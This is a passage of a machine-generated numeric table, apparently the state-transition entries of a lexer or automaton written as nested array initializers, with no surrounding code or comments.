{0,{4298,4298,9497,4298}}, {0,{9498,9498,9498,9498}}, {0,{9499,9499,9499,9499}}, {0,{9500,9500,9500,9500}}, {0,{9501,4284,4284,4284}}, {0,{9502,4270,4270,4270}}, {0,{0,0,0,9503}}, {0,{0,0,0,9504}}, {0,{0,0,0,9505}}, {0,{9506,0,0,0}}, {0,{9231,4275,4275,4275}}, {0,{0,0,9508,0}}, {0,{9509,9509,9509,9509}}, {0,{9510,9510,9510,9510}}, {0,{9511,9511,9511,9511}}, {0,{9512,0,0,0}}, {0,{9513,0,0,0}}, {0,{0,0,0,9514}}, {0,{0,0,0,9515}}, {0,{0,0,0,9516}}, {0,{9517,0,0,0}}, {0,{9289,0,0,0}}, {0,{5440,5440,5440,5440}}, {1311,{9520,9521,9520,9520}}, {0,{5513,5513,5513,5513}}, {1312,{9522,9522,9522,9522}}, {0,{5597,5597,5597,5514}}, {0,{9524,9544,9545,9546}}, {1313,{9525,9525,9525,9525}}, {0,{9526,5674,5674,5674}}, {0,{9527,5676,5677,5677}}, {0,{9528,9528,9534,9539}}, {0,{9529,9529,9533,9529}}, {0,{9530,9530,9530,9530}}, {0,{9531,0,9532,0}}, {1314,{0,0,0,0}}, {1316,{0,0,0,0}}, {1317,{9530,9530,9530,9530}}, {0,{9529,9535,9533,9529}}, {0,{9536,9530,9530,9530}}, {0,{9537,4920,9538,4920}}, {1318,{4921,0,0,0}}, {1320,{4921,0,0,0}}, {0,{9540,9529,9533,9529}}, {0,{9541,9530,9530,9530}}, {0,{9542,0,9543,0}}, {1321,{5427,5427,5427,5427}}, {1323,{0,4932,0,0}}, {1325,{9525,9525,9525,9525}}, {0,{9525,9525,9525,9525}}, {0,{5673,5673,5673,5673}}, {0,{9548,9561,9562,9562}}, {0,{9549,9549,9549,9549}}, {0,{5805,5805,9550,5805}}, {0,{9551,9556,9560,5804}}, {0,{9552,9552,9555,9552}}, {0,{9553,0,5795,0}}, {0,{9554,0,9554,0}}, {1326,{0,0,0,0}}, {0,{9553,5797,5795,0}}, {0,{9552,9552,9552,9557}}, {0,{9558,5801,5803,0}}, {0,{9559,0,9554,0}}, {1327,{4949,4949,4949,4949}}, {0,{9552,9552,9552,9552}}, {1328,{9549,9549,9549,9549}}, {0,{5807,5807,5807,5807}}, {0,{9564,9626,9628,9104}}, {0,{9565,9606,6061,6061}}, {0,{9566,9566,9566,9596}}, {0,{9567,9567,9567,9567}}, {0,{9568,9568,9568,9568}}, {0,{9310,9184,9184,9569}}, {0,{9570,9171,9177,9178}}, {0,{9571,9294,9294,9294}}, {0,{9572,0,6000,0}}, {0,{9573,9573,9573,9573}}, {0,{9574,9595,9595,9595}}, {0,{9575,9594,9594,5925}}, {1331,{9576,9585,9576,9576}}, {0,{9577,9577,9577,9577}}, {0,{9578,9578,9578,9578}}, {0,{9579,9579,9579,9579}}, {0,{9580,9580,9580,9580}}, {0,{0,0,0,9581}}, {0,{0,0,0,9582}}, {0,{0,0,0,9583}}, {0,{9584,0,5873,0}}, {1333,{0,0,0,0}}, {0,{9586,9586,9586,9586}}, {0,{9587,9587,9587,9587}}, {0,{9588,9588,9588,9588}}, {0,{9589,9589,9589,9589}}, {0,{0,0,0,9590}}, {0,{0,0,0,9591}}, {0,{0,0,0,9592}}, {0,{9593,0,5873,0}}, {1335,{9308,9308,9308,9308}}, {0,{9576,9576,9576,9576}}, {0,{9594,9594,9594,5925}}, {0,{9597,9597,9597,9597}}, {0,{9598,9598,9598,9598}}, {0,{9310,9184,9184,9599}}, {0,{9600,9171,9177,9178}}, {0,{9601,9380,9380,9380}}, {0,{9602,0,6000,0}}, {0,{9603,9603,9603,9603}}, {0,{9604,9595,9595,9595}}, {0,{9605,9594,9594,5925}}, {1338,{9576,9576,9576,9576}}, {1339,{9607,9607,9607,9607}}, {0,{9608,9608,9608,9608}}, {0,{9609,9609,9609,9609}}, {0,{4939,4916,4916,9610}}, {0,{9611,4913,4915,4913}}, {0,{9612,9446,9446,9446}}, {0,{9613,0,6000,0}}, {0,{9614,9614,9614,9614}}, {0,{9615,9615,9615,9615}}, {0,{9616,9616,9594,5925}}, {0,{9617,9617,9617,9617}}, {0,{9618,9618,9618,9618}}, {0,{9619,9619,9619,9619}}, {0,{9620,9620,9620,9620}}, {0,{9621,9621,9621,9621}}, {0,{0,0,0,9622}}, {0,{0,0,0,9623}}, {0,{0,0,0,9624}}, {0,{9625,0,5873,0}}, {1342,{0,0,0,0}}, {1343,{6274,9627,6274,6274}}, {1344,{6250,6250,6250,6250}}, {0,{9629,9630,6324,6324}}, {1345,{6296,6296,6296,6296}}, {1347,{6296,6296,6296,6296}}, {0,{9632,9641,9642,9645}}, {0,{9633,9638,6351,6351}}, {0,{9634,9634,9634,9636}}, {0,{9635,9635,9635,9635}}, {0,{9358,9358,9358,9358}}, {0,{9637,9637,9637,9637}}, {0,{9393,9393,9393,9393}}, {1348,{9639,9639,9639,9639}}, {0,{9640,9640,9640,9640}}, {0,{9477,9477,9477,9477}}, {1349,{6365,9101,6365,6365}}, {0,{9643,9644,6380,6380}}, {1350,{6372,6372,6372,6372}}, {1352,{6372,6372,6372,6372}}, {0,{9646,9649,6326,6326}}, {0,{9647,9647,9647,9647}}, {0,{6328,6328,9648,6328}}, {0,{9560,9560,9560,5804}}, {1353,{9647,9647,9647,9647}}, {0,{9651,9641,9669,9104}}, {0,{9652,9663,6412,6412}}, {0,{9653,9653,9653,9658}}, {0,{9654,9654,9654,9654}}, {0,{9655,9655,9655,9655}}, {0,{9310,9184,9184,9656}}, {0,{9657,9171,9177,9178}}, {0,{9294,9294,9294,9294}}, {0,{9659,9659,9659,9659}}, {0,{9660,9660,9660,9660}}, {0,{9310,9184,9184,9661}}, {0,{9662,9171,9177,9178}}, {0,{9380,9380,9380,9380}}, {1354,{9664,9664,9664,9664}}, {0,{9665,9665,9665,9665}}, {0,{9666,9666,9666,9666}}, {0,{4939,4916,4916,9667}}, {0,{9668,4913,4915,4913}}, {0,{9446,9446,9446,9446}}, {0,{9670,9103,6434,6434}}, {1355,{6424,6424,6424,6424}}, {0,{9672,9697,9697,9697}}, {0,{9673,9695,9696,9696}}, {0,{9674,9693,9694,9694}}, {0,{9675,9675,9675,9675}}, {0,{9676,9676,9676,9676}}, {0,{9677,9692,9677,9692}}, {0,{9678,9678,9678,9685}}, {0,{9679,9679,9679,9679}}, {0,{9680,9680,9680,9680}}, {0,{9681,9681,9681,0}}, {0,{9682,9682,9682,9682}}, {0,{9683,9683,9683,9683}}, {0,{0,9684,0,0}}, {1356,{0,0,0,0}}, {0,{9686,9679,9679,9679}}, {0,{9687,9680,9680,9680}}, {0,{9688,9688,9688,6567}}, {0,{9689,9682,9682,9682}}, {0,{9690,9690,9690,9690}}, {0,{6519,9691,6519,6519}}, {1357,{6500,6500,6500,6500}}, {0,{9678,9678,9678,9678}}, {1358,{6561,6561,6561,6561}}, {0,{6561,6561,6561,6561}}, {1359,{9694,9693,9694,9694}}, {0,{9694,9693,9694,9694}}, {0,{9698,9702,9111,9111}}, {0,{9699,9109,0,0}}, {0,{9700,9700,9700,9700}}, {0,{9701,9701,9701,9701}}, {0,{9692,9692,9692,9692}}, {1360,{0,9109,0,0}}, {0,{9704,10042,10053,10042}}, {1362,{9705,9988,9992,10038}}, {0,{9706,9985,9986,9987}}, {0,{9707,9707,9707,9800}}, {0,{9708,9708,9777,9708}}, {0,{9709,9752,9772,9776}}, {0,{9710,9751,9751,9751}}, {0,{9711,9750,9750,9750}}, {0,{9712,9748,9748,9748}}, {0,{7094,7094,9713,7094}}, {0,{9714,9741,9741,9741}}, {0,{7001,7001,9715,7001}}, {0,{9716,7000,7000,7000}}, {0,{9717,9717,9717,9717}}, {0,{9718,9718,9718,9718}}, {0,{9719,9719,9719,9719}}, {0,{9720,9720,9720,9720}}, {0,{9721,9721,9740,9740}}, {0,{9722,9722,9722,9731}}, {0,{9723,9723,9723,9723}}, {0,{9724,9724,9724,9724}}, {0,{9725,9725,9725,9725}}, {0,{9726,9726,9726,9726}}, {0,{9727,9727,9727,0}}, {0,{9728,9728,9728,9728}}, {0,{9729,9729,9729,9729}}, {0,{0,0,9730,0}}, {1363,{0,0,0,0}}, {0,{9732,9723,9723,9723}}, {0,{9733,9724,9724,9724}}, {0,{9734,9734,9734,9734}}, {0,{9735,9726,9726,9726}}, {0,{9736,9736,9736,6865}}, {0,{9737,9737,9728,9728}}, {0,{9738,9738,9738,9738}}, {0,{6806,6806,9739,6806}}, {1364,{6802,6802,6802,6802}}, {0,{9722,9722,9722,9722}}, {0,{0,0,9742,0}}, {0,{9743,0,0,0}}, {0,{9744,9744,9744,9744}}, {0,{9745,9745,9745,9745}}, {0,{9746,9746,9746,9746}}, {0,{9747,9747,9747,9747}}, {0,{9740,9740,9740,9740}}, {0,{0,0,9749,0}}, {0,{9741,9741,9741,9741}}, {0,{9748,9748,9748,9748}}, {0,{9750,9750,9750,9750}}, {0,{9751,9751,9751,9753}}, {0,{9754,9754,9754,9750}}, {0,{9755,9748,9748,9748}}, {0,{4955,4949,9756,4949}}, {0,{9757,9741,9741,9741}}, {0,{4640,4640,9758,4640}}, {0,{9759,4641,4641,4641}}, {0,{9760,9760,9760,9760}}, {0,{9761,9761,9761,9761}}, {0,{9762,9762,9762,9762}}, {0,{9763,9763,9763,9763}}, {0,{9764,9764,9764,9764}}, {0,{9722,9722,9722,9765}}, {0,{9723,9723,9723,9766}}, {0,{9724,9724,9724,9767}}, {0,{9768,9768,9768,9770}}, {0,{9769,9726,9726,9726}}, {1366,{9727,9727,9727,0}}, {0,{9771,9726,9726,9726}}, {1367,{9727,9727,9727,0}}, {0,{9751,9751,9751,9773}}, {0,{9774,9750,9750,9750}}, {0,{9775,9748,9748,9748}}, {0,{7104,7104,9749,0}}, {0,{9751,9751,9751,9751}}, {0,{9778,9752,9796,9776}}, {0,{9710,9751,9751,9779}}, {0,{9780,9750,9780,9750}}, {0,{9781,9748,9748,9748}}, {0,{7111,7111,9782,7111}}, {0,{9783,9741,9741,9741}}, {0,{7045,7045,9784,7045}}, {0,{9785,7044,7044,7044}}, {0,{9786,9786,9786,9786}}, {0,{9787,9787,9787,9787}}, {0,{9788,9788,9788,9788}}, {0,{9789,9747,9789,9747}}, {0,{9740,9740,9740,9790}}, {0,{9722,9722,9722,9791}}, {0,{9723,9723,9723,9792}}, {0,{9724,9724,9724,9793}}, {0,{9794,9794,9794,9794}}, {0,{9795,9726,9726,9726}}, {1368,{9727,9727,9727,0}}, {1369,{9751,9751,9751,9797}}, {0,{9798,9750,9780,9750}}, {0,{9799,9748,9748,9748}}, {0,{7117,7117,9782,7111}}, {0,{9801,9801,9934,9801}}, {0,{9802,9879,9915,9933}}, {0,{9803,9878,9878,9878}}, {0,{9804,9877,9877,9877}}, {0,{9805,9874,9874,9874}}, {0,{9806,7094,9841,7094}}, {0,{9807,9834,9834,9834}}, {0,{9808,9808,9808,7001}}, {0,{9809,7000,7000,7000}}, {0,{6999,6999,6999,9810}}, {0,{6998,6998,6998,9811}}, {0,{6857,6857,6857,9812}}, {0,{9813,9813,9813,9813}}, {0,{9814,9814,9833,9833}}, {0,{9815,9815,9815,9824}}, {0,{9816,9816,9816,9816}}, {0,{9817,9817,9817,9817}}, {0,{9818,9818,9818,9818}}, {0,{9819,9819,9819,9819}}, {0,{9820,0,9820,0}}, {0,{9821,9821,9821,9821}}, {0,{9822,9822,9822,9822}}, {0,{9823,0,0,0}}, {1370,{0,0,0,0}}, {0,{9825,9816,9816,9816}}, {0,{9826,9817,9817,9817}}, {0,{9827,9827,9827,9827}}, {0,{9828,9819,9819,9819}}, {0,{9829,6865,9829,6865}}, {0,{9830,9830,9821,9821}}, {0,{9831,9831,9831,9831}}, {0,{9832,6806,6806,6806}}, {1371,{6802,6802,6802,6802}}, {0,{9815,9815,9815,9815}}, {0,{9835,9835,9835,0}}, {0,{9836,0,0,0}}, {0,{0,0,0,9837}}, {0,{0,0,0,9838}}, {0,{0,0,0,9839}}, {0,{9840,9840,9840,9840}}, {0,{9833,9833,9833,9833}}, {0,{9842,9867,9867,9867}}, {0,{9808,9808,9843,7001}}, {0,{9844,7000,7000,7000}}, {0,{9717,9717,9717,9845}}, {0,{9718,9718,9718,9846}}, {0,{9719,9719,9719,9847}}, {0,{9848,9848,9848,9848}}, {0,{9849,9849,9866,9866}}, {0,{9850,9850,9850,9858}}, {0,{9851,9851,9851,9851}}, {0,{9852,9852,9852,9852}}, {0,{9853,9853,9853,9853}}, {0,{9854,9854,9854,9854}}, {0,{9855,9727,9855,0}}, {0,{9856,9856,9856,9856}}, {0,{9857,9857,9857,9857}}, {0,{9823,0,9730,0}}, {0,{9859,9851,9851,9851}}, {0,{9860,9852,9852,9852}}, {0,{9861,9861,9861,9861}}, {0,{9862,9854,9854,9854}}, {0,{9863,9736,9863,6865}}, {0,{9864,9864,9856,9856}}, {0,{9865,9865,9865,9865}}, {0,{9832,6806,9739,6806}}, {0,{9850,9850,9850,9850}}, {0,{9835,9835,9868,0}}, {0,{9869,0,0,0}}, {0,{9744,9744,9744,9870}}, {0,{9745,9745,9745,9871}}, {0,{9746,9746,9746,9872}}, {0,{9873,9873,9873,9873}}, {0,{9866,9866,9866,9866}}, {0,{9875,0,9876,0}}, {0,{9834,9834,9834,9834}}, {0,{9867,9867,9867,9867}}, {0,{9874,9874,9874,9874}}, {0,{9877,9877,9877,9877}}, {0,{9878,9878,9878,9880}}, {0,{9881,9881,9881,9877}}, {0,{9882,9874,9874,9874}}, {0,{9883,4949,9899,4949}}, {0,{9884,9834,9834,9834}}, {0,{9885,9885,9885,4640}}, {0,{9886,4641,4641,4641}}, {0,{4642,4642,4642,9887}}, {0,{4643,4643,4643,9888}}, {0,{4644,4644,4644,9889}}, {0,{9890,9890,9890,9890}}, {0,{9891,9891,9891,9891}}, {0,{9815,9815,9815,9892}}, {0,{9816,9816,9816,9893}}, {0,{9817,9817,9817,9894}}, {0,{9895,9895,9895,9897}}, {0,{9896,9819,9819,9819}}, {1373,{9820,0,9820,0}}, {0,{9898,9819,9819,9819}}, {1374,{9820,0,9820,0}}, {0,{9900,9867,9867,9867}}, {0,{9885,9885,9901,4640}}, {0,{9902,4641,4641,4641}}, {0,{9760,9760,9760,9903}}, {0,{9761,9761,9761,9904}}, {0,{9762,9762,9762,9905}}, {0,{9906,9906,9906,9906}}, {0,{9907,9907,9907,9907}}, {0,{9850,9850,9850,9908}}, {0,{9851,9851,9851,9909}}, {0,{9852,9852,9852,9910}}, {0,{9911,9911,9911,9913}}, {0,{9912,9854,9854,9854}}, {1376,{9855,9727,9855,0}}, {0,{9914,9854,9854,9854}}, {1377,{9855,9727,9855,0}}, {0,{9878,9878,9878,9916}}, {0,{9917,9877,9877,9877}}, {0,{9918,9874,9874,9874}}, {0,{9919,7104,9876,0}}, {0,{9920,9834,9834,9834}}, {0,{9921,9921,9921,6986}}, {0,{9922,6985,6985,6985}}, {0,{6973,6973,6973,9923}}, {0,{6964,6964,6964,9924}}, {0,{6965,6965,6965,9925}}, {0,{9926,9926,9926,9926}}, {0,{9927,9927,9927,9927}}, {0,{9815,9815,9815,9928}}, {0,{9816,9816,9816,9929}}, {0,{9817,9817,9817,9930}}, {0,{9931,9818,9818,9818}}, {0,{9932,9819,9819,9819}}, {1378,{9820,0,9820,0}}, {0,{9878,9878,9878,9878}}, {0,{9935,9879,9967,9933}}, {0,{9803,9878,9878,9936}}, {0,{9937,9877,9937,9877}}, {0,{9938,9874,9874,9874}}, {0,{9939,7111,9953,7111}}, {0,{9940,9834,9834,9834}}, {0,{9941,9941,9941,7045}}, {0,{9942,7044,7044,7044}}, {0,{7043,7043,7043,9943}}, {0,{7034,7034,7034,9944}}, {0,{7035,7035,7035,9945}}, {0,{9946,9840,9946,9840}}, {0,{9833,9833,9833,9947}}, {0,{9815,9815,9815,9948}}, {0,{9816,9816,9816,9949}}, {0,{9817,9817,9817,9950}}, {0,{9951,9951,9951,9951}}, {0,{9952,9819,9819,9819}}, {1379,{9820,0,9820,0}}, {0,{9954,9867,9867,9867}}, {0,{9941,9941,9955,7045}}, {0,{9956,7044,7044,7044}}, {0,{9786,9786,9786,9957}}, {0,{9787,9787,9787,9958}}, {0,{9788,9788,9788,9959}}, {0,{9960,9873,9960,9873}}, {0,{9866,9866,9866,9961}}, {0,{9850,9850,9850,9962}}, {0,{9851,9851,9851,9963}}, {0,{9852,9852,9852,9964}}, {0,{9965,9965,9965,9965}}, {0,{9966,9854,9854,9854}}, {1380,{9855,9727,9855,0}}, {1381,{9878,9878,9878,9968}}, {0,{9969,9877,9937,9877}}, {0,{9970,9874,9874,9874}}, {0,{9971,7117,9953,7111}}, {0,{9972,9834,9834,9834}}, {0,{9973,9973,9973,7075}}, {0,{9974,7074,7074,7074}}, {0,{7073,7073,7073,9975}}, {0,{7064,7064,7064,9976}}, {0,{7065,7065,7065,9977}}, {0,{9978,9926,9978,9926}}, {0,{9927,9927,9927,9979}}, {0,{9815,9815,9815,9980}}, {0,{9816,9816,9816,9981}}, {0,{9817,9817,9817,9982}}, {0,{9983,9951,9951,9951}}, {0,{9984,9819,9819,9819}}, {1383,{9820,0,9820,0}}, {1384,{7088,7088,7088,7088}}, {0,{7088,7088,7088,7088}}, {0,{7202,7202,7202,7202}}, {1385,{9989,9990,9989,9991}}, {0,{7220,7220,7220,7220}}, {1386,{7220,7220,7220,7220}}, {0,{7240,7240,7240,7240}}, {0,{9993,10034,10036,10037}}, {0,{9994,9994,9994,9994}}, {0,{9995,9995,10023,9995}}, {0,{9996,10013,10022,10022}}, {0,{9997,10012,10012,10012}}, {0,{9998,10011,10011,10011}}, {0,{9999,10008,10008,10008}}, {0,{10000,7094,10007,7094}}, {1387,{10001,10004,10004,10004}}, {0,{10002,10002,10002,10002}}, {0,{10003,7000,10003,7000}}, {1388,{6999,6999,6999,6999}}, {0,{10005,10005,10005,10005}}, {0,{10006,0,10006,0}}, {1389,{0,0,0,0}}, {0,{10001,10004,10004,10004}}, {0,{10009,0,10010,0}}, {1390,{10004,10004,10004,10004}}, {0,{10004,10004,10004,10004}}, {0,{10008,10008,10008,10008}}, {0,{10011,10011,10011,10011}}, {0,{10012,10012,10012,10014}}, {0,{10015,10015,10015,10011}}, {0,{10016,10008,10008,10008}}, {0,{10017,4949,10021,4949}}, {1391,{10018,10004,10004,10004}}, {0,{10019,10019,10019,10019}}, {0,{10020,4641,10020,4641}}, {1392,{4642,4642,4642,4642}}, {0,{10018,10004,10004,10004}}, {0,{10012,10012,10012,10012}}, {0,{10024,10013,10033,10022}}, {0,{9997,10012,10012,10025}}, {0,{10026,10011,10026,10011}}, {0,{10027,10008,10008,10008}}, {0,{10028,7111,10032,7111}}, {1393,{10029,10004,10004,10004}}, {0,{10030,10030,10030,10030}}, {0,{10031,7044,10031,7044}}, {1394,{7043,7043,7043,7043}}, {0,{10029,10004,10004,10004}}, {1395,{10012,10012,10012,10025}}, {1396,{10035,10035,10035,10035}}, {0,{7368,7368,7361,7368}}, {0,{7386,7386,7386,7386}}, {0,{7389,7389,7389,7389}}, {0,{10039,10040,10039,10041}}, {0,{7396,7396,7396,7396}}, {1397,{7396,7396,7396,7396}}, {0,{7403,7403,7403,7403}}, {0,{10043,9702,10049,9111}}, {0,{10044,9109,0,0}}, {0,{10045,10045,10045,10047}}, {0,{10046,10046,10046,10046}}, {0,{9776,9776,9776,9776}}, {0,{10048,10048,10048,10048}}, {0,{9933,9933,9933,9933}}, {0,{10050,9116,0,0}}, {0,{10051,10051,10051,10051}}, {0,{10052,10052,10052,10052}}, {0,{10022,10022,10022,10022}}, {1399,{10043,9702,10049,9111}}, {0,{10055,10055,10055,10055}}, {0,{9111,9702,9111,9111}}, {0,{10057,10077,10078,10054}}, {0,{10058,10074,10074,10074}}, {0,{10059,10065,10066,9111}}, {0,{10060,9122,7488,7488}}, {0,{10061,10061,10061,10061}}, {0,{10062,10062,10062,10062}}, {0,{10063,10063,10063,10063}}, {0,{10064,10064,10064,10064}}, {0,{9171,9171,9171,9178}}, {1400,{7512,9124,7512,7512}}, {0,{10067,10072,10073,7488}}, {1401,{10068,10068,10068,10068}}, {0,{10069,7473,7473,7473}}, {0,{10070,7474,7474,7474}}, {0,{10071,10071,10071,10071}}, {0,{9529,9529,9529,9529}}, {1403,{10068,10068,10068,10068}}, {0,{10068,10068,10068,10068}}, {0,{10059,10065,10075,9111}}, {0,{10076,9126,7488,7488}}, {1404,{7472,7472,7472,7472}}, {0,{9697,9697,9697,9697}}, {0,{10079,10042,10042,10042}}, {0,{10080,10089,10090,10097}}, {0,{10081,10088,7580,0}}, {0,{10082,10082,10082,10085}}, {0,{10046,10046,10083,10046}}, {0,{9776,9776,10084,9776}}, {1405,{9751,9751,9751,9751}}, {0,{10048,10048,10086,10048}}, {0,{9933,9933,10087,9933}}, {1406,{9878,9878,9878,9878}}, {1407,{7569,7569,7569,7569}}, {1408,{7580,10088,7580,0}}, {0,{10091,10095,7580,0}}, {0,{10092,10092,10092,10092}}, {0,{10052,10052,10093,10052}}, {0,{10022,10022,10094,10022}}, {1409,{10012,10012,10012,10012}}, {1410,{10096,10096,10096,10096}}, {0,{7424,7424,7594,7424}}, {0,{7580,10088,7580,0}}, {0,{10099,10077,10141,10054}}, {0,{10100,10122,10137,10074}}, {0,{10101,10110,10112,9111}}, {0,{10102,10109,7649,7649}}, {0,{10103,10103,10103,10103}}, {0,{10104,10104,10104,10104}}, {0,{10105,10105,10105,10105}}, {0,{10106,10106,10106,10106}}, {0,{10107,9171,10107,9178}}, {0,{10108,9172,10108,9172}}, {0,{9173,7630,4910,0}}, {1411,{7624,7624,7624,7624}}, {1412,{7683,10111,7683,7683}}, {1413,{7668,7668,7668,7668}}, {0,{10113,10120,10121,7649}}, {1414,{10114,10114,10114,10114}}, {0,{10115,7625,7625,7625}}, {0,{10116,7626,7626,7626}}, {0,{10117,10117,10117,10117}}, {0,{10118,9529,10118,9529}}, {0,{10119,9530,10119,9530}}, {0,{9531,7630,9532,0}}, {1416,{10114,10114,10114,10114}}, {0,{10114,10114,10114,10114}}, {0,{10123,10132,10134,9111}}, {0,{10124,10131,7755,7755}}, {0,{10125,10125,10125,10125}}, {0,{10126,10126,10126,10126}}, {0,{10063,10063,10063,10127}}, {0,{10064,10064,10064,10128}}, {0,{10129,9171,9171,9178}}, {0,{10130,9172,9172,9172}}, {0,{9173,0,7735,0}}, {1417,{7729,7729,7729,7729}}, {1418,{7781,10133,7781,7781}}, {1419,{7767,7767,7767,7767}}, {0,{10135,10136,7755,7755}}, {1420,{7729,7729,7729,7729}}, {1422,{7729,7729,7729,7729}}, {0,{10101,10110,10138,9111}}, {0,{10139,10140,7649,7649}}, {1423,{7624,7624,7624,7624}}, {1425,{7624,7624,7624,7624}}, {0,{10142,10042,10164,10042}}, {1427,{10143,10154,10155,10163}}, {0,{10144,10153,7829,0}}, {0,{10145,10145,10145,10149}}, {0,{10046,10046,10146,10046}}, {0,{10147,9776,10148,9776}}, {0,{9751,9751,9751,9779}}, {1429,{9751,9751,9751,9779}}, {0,{10048,10048,10150,10048}}, {0,{10151,9933,10152,9933}}, {0,{9878,9878,9878,9936}}, {1431,{9878,9878,9878,9936}}, {1432,{7816,7816,7816,7816}}, {1433,{7829,10153,7829,0}}, {0,{10156,10161,7829,0}}, {0,{10157,10157,10157,10157}}, {0,{10052,10052,10158,10052}}, {0,{10159,10022,10160,10022}}, {0,{10012,10012,10012,10025}}, {1435,{10012,10012,10012,10025}}, {1436,{10162,10162,10162,10162}}, {0,{7424,7424,7843,7424}}, {0,{7829,10153,7829,0}}, {1438,{10165,9702,10049,9111}}, {0,{10044,10166,0,0}}, {1439,{10167,10167,10167,10167}}, {0,{0,10168,0,0}}, {0,{10169,10169,10169,10169}}, {0,{0,0,0,10170}}, {0,{10171,0,0,0}}, {0,{10172,10172,10172,0}}, {0,{10173,0,0,0}}, {0,{10174,10174,10174,10174}}, {0,{0,0,0,10175}}, {0,{10176,0,0,0}}, {0,{10177,10177,10177,10177}}, {0,{10178,10178,10178,10178}}, {0,{10179,10179,10179,10179}}, {0,{10180,10180,10180,10180}}, {0,{10181,10181,10181,10181}}, {0,{0,0,0,10182}}, {0,{0,0,0,10183}}, {0,{0,0,0,10184}}, {0,{10185,0,0,0}}, {1440,{0,0,0,0}}, {0,{10187,10369,10396,10534}}, {0,{10188,10329,10342,10368}}, {0,{10189,10291,10301,10320}}, {0,{10190,10235,10277,10284}}, {0,{10191,10191,10191,10191}}, {0,{10192,10228,10228,10229}}, {0,{10193,10222,10222,10227}}, {0,{10194,10194,10194,10195}}, {0,{9178,9178,9178,9178}}, {0,{9178,9178,9178,10196}}, {0,{9179,9179,9179,10197}}, {0,{10198,10214,10217,10221}}, {0,{10199,10209,10209,10209}}, {0,{10200,10208,10208,10208}}, {0,{10201,10206,10207,10207}}, {1443,{10202,10202,10202,10202}}, {0,{10203,10203,10203,10203}}, {0,{10204,10204,10204,10204}}, {0,{0,0,10205,0}}, {1444,{0,0,0,0}}, {1445,{10202,10202,10202,10202}}, {0,{10202,10202,10202,10202}}, {0,{10206,10206,10207,10207}}, {0,{10210,10213,10213,10213}}, {0,{10211,10212,0,0}}, {1448,{0,0,0,0}}, {1449,{0,0,0,0}}, {0,{10212,10212,0,0}}, {1450,{10215,0,0,0}}, {0,{10216,10216,10216,10216}}, {0,{10207,10207,10207,10207}}, {1451,{10218,7916,7916,7916}}, {0,{10219,10219,10219,10219}}, {0,{10220,10207,10220,10207}}, {1452,{10202,10202,10202,10202}}, {0,{10215,0,0,0}}, {0,{10194,10194,10194,10223}}, {0,{9178,9178,9178,10224}}, {0,{9179,9179,9179,10225}}, {0,{10226,7914,7915,0}}, {0,{10209,10209,10209,10209}}, {1453,{10194,10194,10194,10223}}, {0,{10222,10222,10222,10227}}, {0,{10230,10230,10230,10234}}, {0,{10194,10194,10194,10231}}, {0,{9178,9178,9178,10232}}, {0,{9179,9179,9179,10233}}, {0,{9180,7914,7915,0}}, {1454,{10194,10194,10194,10231}}, {1455,{10236,10236,10236,10236}}, {0,{10237,10276,10276,7932}}, {0,{10238,10270,10270,10275}}, {0,{7475,7475,7475,10239}}, {0,{4913,4913,4913,10240}}, {0,{4914,4914,4914,10241}}, {0,{10242,10214,10269,10221}}, {0,{10243,10262,10262,10262}}, {0,{10244,10208,10244,10208}}, {0,{10245,10245,10261,10207}}, {1456,{10246,10246,10246,10246}}, {0,{10247,10247,10247,10247}}, {0,{10248,10248,10248,10248}}, {0,{10249,10249,10260,10249}}, {0,{10250,10250,10250,10250}}, {0,{0,0,0,10251}}, {0,{0,0,0,10252}}, {0,{0,0,0,10253}}, {0,{0,0,0,10254}}, {0,{0,0,0,10255}}, {0,{10256,0,0,0}}, {0,{10257,10257,10257,10257}}, {0,{10258,10258,10258,10258}}, {0,{10259,0,10259,0}}, {1457,{0,0,0,0}}, {1458,{10250,10250,10250,10250}}, {0,{10246,10246,10246,10246}}, {0,{10263,10213,10263,10213}}, {0,{10264,10264,10268,0}}, {1459,{10265,10265,10265,10265}}, {0,{10266,10266,10266,10266}}, {0,{10267,10267,10267,10267}}, {0,{10249,10249,10249,10249}}, {0,{10265,10265,10265,10265}}, {1460,{10215,0,0,0}}, {0,{7475,7475,7475,10271}}, {0,{4913,4913,4913,10272}}, {0,{4914,4914,4914,10273}}, {0,{10274,7914,4910,0}}, {0,{10262,10262,10262,10262}}, {1461,{7475,7475,7475,10271}}, {0,{10270,10270,10270,10275}}, {0,{10278,10278,10278,10278}}, {0,{10279,7909,7909,7909}}, {0,{10280,7910,7910,7917}}, {0,{7475,7475,7475,10281}}, {0,{4913,4913,4913,10282}}, {0,{4914,4914,4914,10283}}, {0,{10221,10214,10217,10221}}, {0,{10285,10285,10285,10285}}, {0,{10286,7932,7932,7932}}, {0,{10287,7926,7926,7930}}, {0,{7475,7475,7475,10288}}, {0,{4913,4913,4913,10289}}, {0,{4914,4914,4914,10290}}, {0,{10221,10214,10269,10221}}, {1462,{10292,10300,10292,10292}}, {0,{10293,10293,10293,10293}}, {0,{10294,7974,7974,7974}}, {0,{10295,7503,7503,7975}}, {0,{7504,7504,7504,10296}}, {0,{5517,5517,5517,10297}}, {0,{5518,5518,5518,10298}}, {0,{10221,10221,10299,10221}}, {1464,{10215,0,0,0}}, {1465,{10293,10293,10293,10293}}, {0,{10302,10311,10319,10284}}, {1466,{10303,10303,10303,10303}}, {0,{10304,7932,7932,7932}}, {0,{10305,7926,7926,7930}}, {0,{10071,10071,10071,10306}}, {0,{9529,9529,9529,10307}}, {0,{9530,9530,9530,10308}}, {0,{10309,10214,10310,10221}}, {1467,{10215,0,0,0}}, {1469,{10215,0,0,0}}, {1471,{10312,10312,10312,10312}}, {0,{10313,8034,8034,8034}}, {0,{10314,8027,8027,8032}}, {0,{10071,10071,10071,10315}}, {0,{9529,9529,9529,10316}}, {0,{9530,9530,9530,10317}}, {0,{10318,10214,10310,10221}}, {1473,{10215,0,0,0}}, {0,{10303,10303,10303,10303}}, {0,{10321,10328,10321,10321}}, {0,{10322,10322,10322,10322}}, {0,{10323,8051,8051,8051}}, {0,{10324,0,8052,8058}}, {0,{0,0,0,10325}}, {0,{0,0,0,10326}}, {0,{0,0,0,10327}}, {0,{10221,10221,10221,10221}}, {1474,{10322,10322,10322,10322}}, {0,{10330,10339,10341,9111}}, {0,{10331,9122,10338,7488}}, {0,{10332,10332,10332,10332}}, {0,{10333,10333,10333,10333}}, {0,{10334,10334,10334,10334}}, {0,{10194,10194,10194,10335}}, {0,{9178,9178,9178,10336}}, {0,{9179,9179,9179,10337}}, {0,{9180,0,7915,0}}, {0,{8081,8081,8081,8081}}, {1475,{8128,10340,8128,8128}}, 